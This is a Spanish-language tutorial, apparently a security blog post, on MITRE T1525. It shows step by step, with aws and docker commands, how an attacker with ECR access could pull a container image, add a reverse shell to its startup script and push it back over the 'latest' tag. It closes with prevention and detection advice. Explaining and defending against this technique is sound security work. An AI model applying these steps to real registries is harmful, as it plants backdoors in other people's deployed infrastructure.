Persistencia en AWS con implantes en imágenes de contenedores
Una de las tácticas más comunes cuando un atacante logra el acceso inicial es obtener persistencia. El objetivo de esta es mantenerse en la infraestructura pese a que se reinicie el equipo, las contraseñas o haya cualquier interrupción que pueda interrumpir el acceso inicial. Una de las técnicas utilizadas para obtener persistencia en AWS si en la cuenta se usa Amazon Elastic Container Registry (ECR) es añadiendo implantes en las imágenes de los contenedores.
Esta técnica la encontramos bajo en nombre Implant Container Image en Mitre Att&ck y tiene el ID T1525.
Estos son los pasos que podría seguir un atacante para lograr persistencia en AWS tras conseguir un usuario con permisos al ECR:
En primer lugar, es necesario listar los repositorios que existen en la cuenta:
aws ecr describe-repositories
Tras descubrir los repositorios, se pueden listar las imágenes del repositorio con el comando:
aws ecr describe-images --repository-name NOMBREREPOSITORIO
Una vez obtenido el nombre del repositorio y de las imágenes, un atacante podría descargar una de ellas, modificarla añadiendo código malicioso y subirla de nuevo. Esto se podría realizar de la siguiente manera:
Para poder descargar imágenes necesitaremos un cliente Docker , pero antes, deberemos obtener un token de autenticación y autenticar nuestro cliente Docker al registro:
aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin IDCUENTAAWS.dkr.ecr.REGION.amazonaws.com
Tras la autenticación se podrá descargar una imagen, en el siguiente comando se descargará la imagen con el tag latest:
docker pull IDCUENTAAWS.dkr.ecr.REGION.amazonaws.com/NOMBREREPOSITORIO:latest
Una vez descargada la imagen, será posible ejecutarla en local:
docker run --detach NOMBREIMAGEN
Y acceder a ella para realizar modificaciones:
docker exec -it IDCONTAINER bash
Las modificaciones para conseguir persistencia dependerán de la imagen descargada. En el siguiente ejemplo tenemos una imagen que ejecuta al iniciar el script run_apache.sh
Por lo tanto, un método para poder obtener persistencia es modificar el script que se ejecuta al inicio con una reverse shell:
Tras realizar los cambios será necesario guardar el contenedor modificado como nueva imagen:
docker commit CONTAINERID NOMBREIMAGEN
Después de esto añadimos el tag que se estaba utilizando en ECR, en este caso latest:
docker tag NOMBREIMAGEN:latest IDCUENTAAWS.dkr.ecr.REGION.amazonaws.com/NOMBREREPOSITORIO:latest
y por último hacemos un push para que la imagen se almacene en el registro de AWS.
docker push IDCUENTAAWS.dkr.ecr.REGION.amazonaws.com/NOMBREREPOSITORIO:latest
Tras esto solo quedará esperar que la nueva imagen se ejecute y recibir la reverse shell:
Además de manualmente, esta técnica puede ser realizada de forma algo más automática mediante CCAT.
La prevención de esta técnica pasa por una correcta gestión de permisos. Además, podemos realizar verificaciones periódicas de integridad para confirmar que las imágenes no han sido modificadas. Para tratar de detectar esta técnica es importante controlar las peticiones a Amazon Elastic Container Registry.